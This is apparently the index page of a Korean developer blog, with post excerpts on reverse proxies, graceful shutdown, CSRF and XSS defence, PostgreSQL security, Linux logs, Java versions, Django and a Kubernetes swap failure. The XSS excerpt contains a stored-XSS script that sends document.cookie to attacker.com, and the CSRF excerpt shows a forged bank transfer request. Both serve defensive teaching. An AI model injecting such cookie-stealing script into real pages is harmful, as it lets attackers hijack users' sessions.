Home

0

[Network] Reverse Proxy 란?

Reverse Proxy 란?Reverse Proxy는 클라이언트의 요청을 받아 내부 서버로 전달하고, 서버의 응답을 다시 클라이언트에게 반환하는 중개 서버입니다. 클라이언트 입장에서는 Reverse Proxy가 실제 서버인 것처럼 보이며, 실제 백엔드 서버의 존재는 숨겨집니다. Forward Proxy vs Reverse ProxyForward Proxy 클라이언트 앞에 위치 클라이언트를 대신하여 서버에 요청 클라이언트의 IP를 숨김 주로 조직 내부에서 외부 인터넷 접근 제어에 사용 Reverse Proxy 서버 앞에 위치 서버를 대신하여 클라이언트의 요청을 받음 서버의 IP와 구조를 숨김 로드 밸런싱, 보안, 캐싱 등의 목적으로 사용 Forward Proxy:[Client] → [Proxy] → [Server]Reverse Proxy:[Client] → [Reverse Proxy] → [Internal Server 1] → [Internal Server 2] → [Internal Server 3] Reverse Proxy의 주요 기능

0

우아한 종료 (Graceful Shutdown)

Graceful Shutdown이란?Graceful Shutdown은 애플리케이션이 종료될 때 현재 처리 중인 작업을 안전하게 완료하고, 리소스를 정리한 후 종료하는 방식입니다. 갑작스러운 종료(Abrupt Shutdown)와 달리, 진행 중인 요청을 처리하고 데이터 손실을 방지합니다. 왜 필요한가?일반적인 종료 문제점// 갑작스러운 종료 시 발생할 수 있는 문제들- 처리 중인 HTTP 요청이 중단됨- 데이터베이스 트랜잭션이 롤백됨- 파일 쓰기 작업이 중단되어 데이터 손실- 외부 API 호출이 타임아웃- 메시지 큐의 메시지가 손실됨 Graceful Shutdown의 이점 데이터 무결성: 진행 중인 트랜잭션을 완료 사용자 경험: 진행 중인 요청에 대한 정상 응답 리소스 정리: 연결, 파일, 스레드 등 정리 무중단 배포: 롤링 업데이트 시 서비스 중단 최소화 JVM Shutdown HookJVM은 종료 시 등록된 Shutdown Hook을 실행합니다. 기본 사용법

0

[Web Security] CSRF 공격과 방어 기법 완벽 가이드

🎯 CSRF(Cross-Site Request Forgery)란?CSRF는 사용자가 의도하지 않은 요청을 공격자가 만든 웹사이트를 통해 실행시키는 공격입니다.사용자가 이미 로그인되어 있는 사이트에서, 공격자가 조작한 요청을 사용자 몰래 전송하게 만듭니다. 공격 시나리오 예시 사용자가 은행 사이트(bank.com)에 로그인되어 있음 공격자가 만든 악성 사이트(evil.com)를 방문 악성 사이트에 숨겨진 코드가 bank.com으로 송금 요청을 전송 브라우저는 자동으로 쿠키를 포함해 요청을 전송 은행 서버는 정상적인 요청으로 인식하고 처리 🔍 CSRF 공격의 핵심 원리브라우저의 쿠키 자동 전송브라우저는 같은 도메인으로의 모든 요청에 자동으로 쿠키를 첨부합니다. GET /transfer?to=attacker&amount=10000 HTTP/1.1Host: bank.comCookie: session_id=abc123 ← 자동으로 포함됨! 공격 코드 예시1. 이미지 태그를 이용한 공격

0

[Web Security] XSS 공격과 방어 기법 완벽 가이드

🎯 XSS(Cross-Site Scripting)란?XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.사용자의 쿠키, 세션 토큰을 탈취하거나, 사용자인 척 행동할 수 있습니다. XSS vs CSRF 차이점 구분 XSS CSRF 공격 대상 웹사이트의 사용자 웹사이트의 서버 공격 방식 악성 스크립트 실행 사용자 권한으로 요청 전송 주요 수단 JavaScript 주입 자동 폼 제출, 이미지 태그 탈취 가능 쿠키, 세션, DOM, 키 입력 등 불가능 (요청만 가능) 🔍 XSS 공격 유형1. Stored XSS (저장형)악성 스크립트가 서버 데이터베이스에 저장되어, 해당 페이지를 보는 모든 사용자에게 실행됩니다.가장 위험한 XSS 공격입니다. 공격 시나리오// 게시판 댓글 작성const comment = '<script> fetch("https://attacker.com/steal?cookie=" + document.cookie);</script>';// 서버에 저장됨// DB: comments 테이블에 위 스크립트가 그대로 저장// 다른 사용자가 게시글을 볼 때<div class="comment"> <script> fetch("https://attacker.com/steal?cookie=" + document.cookie); </script></div>// ⚠️ 모든 방문자의 쿠키가 탈취됨! 실제 사례

0

[PostgreSQL] 사용자별 보안 설정 가이드

🔒 PostgreSQL 사용자별 보안 설정 완벽 가이드PostgreSQL에서는 사용자(Role)별로 다양한 보안 설정을 적용하여 데이터베이스를 안전하게 보호할 수 있습니다.이 문서에서는 세션 타임아웃부터 접속 제한, 권한 관리까지 실무에서 꼭 필요한 보안 설정들을 정리합니다. 1️⃣ 세션 타임아웃 설정✅ idle_session_timeout (PostgreSQL 14+)유휴 세션을 자동으로 종료하여 불필요한 연결을 정리합니다. -- 세션 레벨에서 설정 (30분)SET idle_session_timeout = '30min';-- 전역 설정 (postgresql.conf)idle_session_timeout = '30min'-- 특정 사용자에 설정ALTER ROLE webapp_user SET idle_session_timeout = '30min';-- 특정 데이터베이스에 설정ALTER DATABASE mydb SET idle_session_timeout = '1h'; ✅ statement_timeout단일 쿼리의 최대 실행 시간을 제한하여 과도한 리소스 사용을 방지합니다. -- 세션 레벨 (10초)SET statement_timeout = '10s';-- 웹 애플리케이션 사용자: 짧은 타임아웃ALTER ROLE webapp_user SET statement_timeout = '30s';-- 배치 작업 사용자: 긴 타임아웃ALTER ROLE batch_user SET statement_timeout = '10min';-- 관리자: 제한 없음ALTER ROLE admin_user SET statement_timeout = 0;

0

Linux 로그 확인 및 관리 방법

Linux 로그 시스템 개요Linux 시스템에서 로그는 시스템 상태, 애플리케이션 동작, 보안 이벤트 등을 추적하는 중요한 도구입니다. 로그를 효과적으로 관리하고 분석하는 것은 시스템 관리자와 개발자에게 필수적인 역량입니다. 1. systemd 기반 로그 관리 (journalctl)현대 Linux 배포판의 대부분은 systemd를 사용하며, journalctl은 systemd의 로그 조회 도구입니다. 기본 조회# 전체 시스템 로그 확인journalctl# 최근 로그만 확인 (기본 10줄)journalctl -n# 최근 100줄 확인journalctl -n 100# 실시간으로 로그 확인 (tail -f 처럼)journalctl -f# 페이지 단위로 확인 (기본)journalctl --no-pager 서비스별 로그 확인# 특정 서비스 로그 확인journalctl -u nginx.servicejournalctl -u apache2.servicejournalctl -u mysql.service# 여러 서비스 동시 확인journalctl -u nginx.service -u mysql.service# 서비스 로그 실시간 모니터링journalctl -u nginx.service -f 시간 기반 필터링# 특정 날짜 범위journalctl --since "2024-01-01" --until "2024-01-02"# 상대적 시간journalctl --since "1 hour ago"journalctl --since "30 minutes ago"journalctl --since "yesterday"journalctl --since "today"# 특정 시각부터journalctl --since "2024-01-01 14:30:00"# 부팅 로그 확인journalctl -b # 현재 부팅journalctl -b -1 # 이전 부팅journalctl --list-boots # 부팅 목록

0

JAVA - 자바 버전별 주요 특징 총정리 (Java 8 ~ Java 25)

들어가며자바는 1996년 처음 등장한 이후 지속적으로 발전해왔습니다. 특히 Java 8 이후로는 6개월마다 새로운 버전이 출시되면서 빠르게 진화하고 있습니다. 이 글에서는 Java 8부터 최신 버전인 Java 25까지의 주요 특징들을 살펴보겠습니다. 각 버전의 핵심 기능들을 이해하면 현대적인 자바 개발을 더 효과적으로 할 수 있습니다. Java 8 (2014년 3월) - LTSJava 8은 자바 역사상 가장 혁명적인 변화를 가져온 버전입니다. 함수형 프로그래밍 패러다임을 본격적으로 도입하면서 자바의 코딩 스타일을 완전히 바꾸어 놓았습니다. 람다 표현식 (Lambda Expressions)람다 표현식은 익명 함수를 간결하게 표현할 수 있게 해주는 기능입니다. 기존에는 익명 내부 클래스를 사용해야 했던 코드를 훨씬 간결하게 작성할 수 있게 되었습니다. // Java 7 이전button.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { System.out.println("Button clicked!"); }});// Java 8 이후button.addActionListener(e -> System.out.println("Button clicked!")); 스트림 API (Stream API)

0

JAVA - 버전별 주요 특징과 예시

정리 기준 자바 8부터 25까지의 흐름을 LTS 위주로 묶고, 미리보기/인큐베이터 상태를 함께 표기했다. 코드 예제는 해당 버전에서 동작하도록 작성했고, 미리보기 기능은 --enable-preview 플래그가 필요하다. Java 8 (2014, LTS)람다, Stream API, Optional, 새로운 java.time 패키지가 등장해 함수형 스타일과 안전한 시간 처리의 기반이 마련되었다. 인터페이스에 default/static 메서드를 둘 수 있어 라이브러리 진화도 쉬워졌다. List<String> names = Arrays.asList("Java", "Kotlin", "Scala");List<String> upper = names.stream() .filter(s -> s.startsWith("J")) .map(String::toUpperCase) .collect(Collectors.toList()); Java 9 (2017)프로젝트 지그소로 JDK 자체와 애플리케이션을 모듈화할 수 있게 되었고, JShell 덕분에 REPL 실험이 편해졌다. HTTP 클라이언트가 인큐베이터로 공개되어 이후 표준화의 발판을 마련했다. // module-info.javamodule com.example.app { requires com.example.service; exports com.example.app.api;} Java 10 (2018)

0

Django 시작하기 - 설치부터 프로젝트 생성까지 🚀

안녕하세요! 👋 오늘은 Python의 대표적인 웹 프레임워크인 Django를 시작하는 방법에 대해 알아보겠습니다. Django를 처음 접하시는 분들도 쉽게 따라할 수 있도록 자세히 설명해드릴게요! 😊 1️⃣ Django란 무엇인가요? 🤔Django(장고)는 Python으로 작성된 무료 오픈소스 웹 애플리케이션 프레임워크입니다. “빠른 개발”과 “깔끔하고 실용적인 디자인”을 목표로 만들어졌어요. Django의 주요 특징 ✨MTV 패턴 📐Django는 MTV(Model-Template-View) 패턴을 사용합니다. 이는 다른 프레임워크의 MVC 패턴과 유사한데요: Model: 데이터베이스와 상호작용하는 부분 💾 Template: 사용자에게 보여지는 화면 (HTML) 🎨 View: 비즈니스 로직을 처리하는 부분 ⚙️ 배터리 포함(Batteries Included) 🔋Django는 웹 개발에 필요한 거의 모든 기능을 기본적으로 제공합니다: 강력한 ORM(Object-Relational Mapping) 시스템 사용자 인증 시스템 🔐 관리자 페이지(Admin Page) 자동 생성 👨‍💼 폼(Form) 처리 📝 세션 관리 보안 기능 (CSRF, XSS, SQL Injection 방지) 🛡️ 확장성과 안정성 💪Instagram, Pinterest, NASA 등 많은 대형 서비스들이 Django를 사용하고 있어요. 이는 Django가 얼마나 안정적이고 확장 가능한지를 증명합니다!

0

Kubernetes Node 재실행 후 swap 으로 인한 kubelet 무한 재시작

최근 홈 서버에 Kubernetes 클러스터를 구성하던 중, 노드가 재실행한 후에 노드가 NotReady 상태로 떨어지며 kubelet 이 계속 재시작되는 문제를 겪었다.systemd 로그를 확인해 보니, kubelet 이 무한 재시작되며 restart counter 가 6500회를 넘는 심각한 상태였다. 🔍 문제 상황계속 재시작 되는 노드로 들어가서 kubelet 서비스 상태를 확인하면 다음과 같은 메시지가 반복적으로 출력된다. > sudo systemctl status kubelet● kubelet.service - kubelet: The Kubernetes Node Agent Loaded: loaded (/usr/lib/systemd/system/kubelet.service; enabled; preset: enabled) Drop-In: /usr/lib/systemd/system/kubelet.service.d └─10-kubeadm.conf Active: activating (auto-restart) (Result: exit-code) since Sun 2025-11-23 10:52:13 KST; 1s ago Docs: https://kubernetes.io/docs/ Process: 150004 ExecStart=/usr/bin/kubelet $KUBELET_KUBECONFIG_ARGS $KUBELET_CONFIG_ARGS $KUBELET_KUBEADM_ARGS $KUBELET_EXTRA_ARGS (code=exited, status=1/FAILURE) Main PID: 150004 (code=exited, status=1/FAILURE) CPU: 90ms> sudo journalctl -u kubelet -n 50 --no-pagerNov 23 10:52:54 systemd[1]: kubelet.service: Main process exited, code=exited, status=1/FAILURE Nov 23 10:52:54 systemd[1]: kubelet.service: Failed with result 'exit-code'. Nov 23 10:53:04 systemd[1]: kubelet.service: Scheduled restart job, restart counter is at 6578. Nov 23 10:53:04 systemd[1]: Started kubelet.service - kubelet: The Kubernetes Node Agent. Nov 23 10:53:04 kubelet[150116]: Flag --container-runtime-endpoint has been deprecated, This parameter should be set via the config file specified by the Kubelet's --config flag. See https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information. Nov 23 10:53:04 kubelet[150116]: Flag --pod-infra-container-image has been deprecated, will be removed in a future release. Image garbage collector will get sandbox image information from CRI. Nov 23 10:53:04 kubelet[150116]: I1123 10:53:04.710817 150116 server.go:209] "--pod-infra-container-image will not be pruned by the image garbage collector in kubelet and should also be set in the remote runtime" Nov 23 10:53:04 kubelet[150116]: I1123 10:53:04.715367 150116 server.go:492] "Kubelet version" kubeletVersion="v1.29.15" Nov 23 10:53:04 kubelet[150116]: I1123 10:53:04.715402 150116 server.go:494] "Golang settings" GOGC="" GOMAXPROCS="" GOTRACEBACK="" Nov 23 10:53:04 kubelet[150116]: I1123 10:53:04.715759 150116 server.go:924] "Client rotation is on, will bootstrap in background" Nov 23 10:53:04 kubelet[150116]: I1123 10:53:04.716990 150116 certificate_store.go:130] Loading cert/key pair from "/var/lib/kubelet/pki/kubelet-client-current.pem". Nov 23 10:53:04 kubelet[150116]: I1123 10:53:04.718180 150116 dynamic_cafile_content.go:157] "Starting controller" name="client-ca-bundle::/etc/kubernetes/pki/ca.crt" Nov 23 10:53:04 kubelet[150116]: I1123 10:53:04.727293 150116 server.go:750] "--cgroups-per-qos enabled, but --cgroup-root was not specified. defaulting to /" Nov 23 10:53:04 kubelet[150116]: E1123 10:53:04.727405 150116 run.go:74] "command failed" err="failed to run Kubelet: running with swap on is not supported, please disable swap! or set --fail-swap-on flag to false. /proc/s 핵심 에러 메시지는 아래 한 줄이다. running with swap on is not supported, please disable swap! 즉, swap 이 활성화된 상태에서 kubelet이 실행되고 있기 때문에 강제로 종료되고 있었던 것이다. 초기 설정때 껏는데.. 재실행되면서 켜진 모양이다. 😭 ❗ Kubernetes 는 왜 swap을 허용하지 않을까?Kubernetes 는 노드 리소스를 엄격하게 관리하기 위해 메모리 관리 정책을 자체적으로 수행한다. 하지만 swap 이 활성화되어 있으면 다음과 같은 문제가 발생한다.